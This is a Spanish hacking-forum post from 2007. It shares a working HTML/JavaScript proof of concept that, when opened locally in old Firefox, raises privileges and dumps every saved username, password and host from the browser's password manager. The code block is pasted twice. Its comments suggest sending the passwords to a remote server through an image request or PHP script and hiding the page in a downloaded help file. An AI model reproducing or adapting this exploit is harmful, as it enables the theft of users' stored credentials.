Autor
Código:
<html>
<head>
<script>
document.write('<img src="http://www.0x000000.com/hacks/red_dress.gif"><br><br>');
/*
- It would be possible to glue all these passwords on the image above, and I could capture them in my logs.
- I could call a remote PHP script which submits the passwords.
- This shows how dangerous trusted content can be, imagine you open a HELP file from a piece of software you downloaded,
you are never sure your passwords are send to some server.
- Thanks to Mozilla for this flawed security model, I heard this won't work anymore in FF 3.0 Well, we'll see.
*/
setTimeout("listPW()",1000);
function listPW() {
if(document.location !='http://www.0x000000.com/hacks/hello.html') {
netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
var pm = Components.classes["@mozilla.org/passwordmanager;1"].getService();
pm = pm.QueryInterface(Components.interfaces.nsIPasswordManager);
var enumerator = pm.enumerator;
document.writeln('Mozilla\'s idea of security, I do not store these passwords, it\'s only a PoC');
document.writeln('<br><br>');
while (enumerator.hasMoreElements()) {
try {
var np = enumerator.getNext();
np = np.QueryInterface(Components.interfaces.nsIPassword);
presult = '['+np.user+'] ['+np.password+'] ['+np.host+'] <br>';
document.writeln(presult);
}
catch(e) { }
}
} else {
alert('this only runs from your PC, save the page to your desktop (CTRL+S) and open it in Firefox, then watch the Magicx!');
}
}
</script>
</head>
<body>
<img src="hello_files/red_dress.gif"><br><br>
</body>
</html>
<head>
<script>
document.write('<img src="http://www.0x000000.com/hacks/red_dress.gif"><br><br>');
/*
- It would be possible to glue all these passwords on the image above, and I could capture them in my logs.
- I could call a remote PHP script which submits the passwords.
- This shows how dangerous trusted content can be, imagine you open a HELP file from a piece of software you downloaded,
you are never sure your passwords are send to some server.
- Thanks to Mozilla for this flawed security model, I heard this won't work anymore in FF 3.0 Well, we'll see.
*/
setTimeout("listPW()",1000);
function listPW() {
if(document.location !='http://www.0x000000.com/hacks/hello.html') {
netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
var pm = Components.classes["@mozilla.org/passwordmanager;1"].getService();
pm = pm.QueryInterface(Components.interfaces.nsIPasswordManager);
var enumerator = pm.enumerator;
document.writeln('Mozilla\'s idea of security, I do not store these passwords, it\'s only a PoC');
document.writeln('<br><br>');
while (enumerator.hasMoreElements()) {
try {
var np = enumerator.getNext();
np = np.QueryInterface(Components.interfaces.nsIPassword);
presult = '['+np.user+'] ['+np.password+'] ['+np.host+'] <br>';
document.writeln(presult);
}
catch(e) { }
}
} else {
alert('this only runs from your PC, save the page to your desktop (CTRL+S) and open it in Firefox, then watch the Magicx!');
}
}
</script>
</head>
<body>
<img src="hello_files/red_dress.gif"><br><br>
</body>
</html>
A día de hoy (19/06/07) todas las versiones del Mozilla Firefox son vulnerables...
Exploit: http://foro.elhacker.net/index.php/topic,168001.msg793457.html#msg793457
PD: Tan solo funciona cuando se ejecuta localmente.
En línea
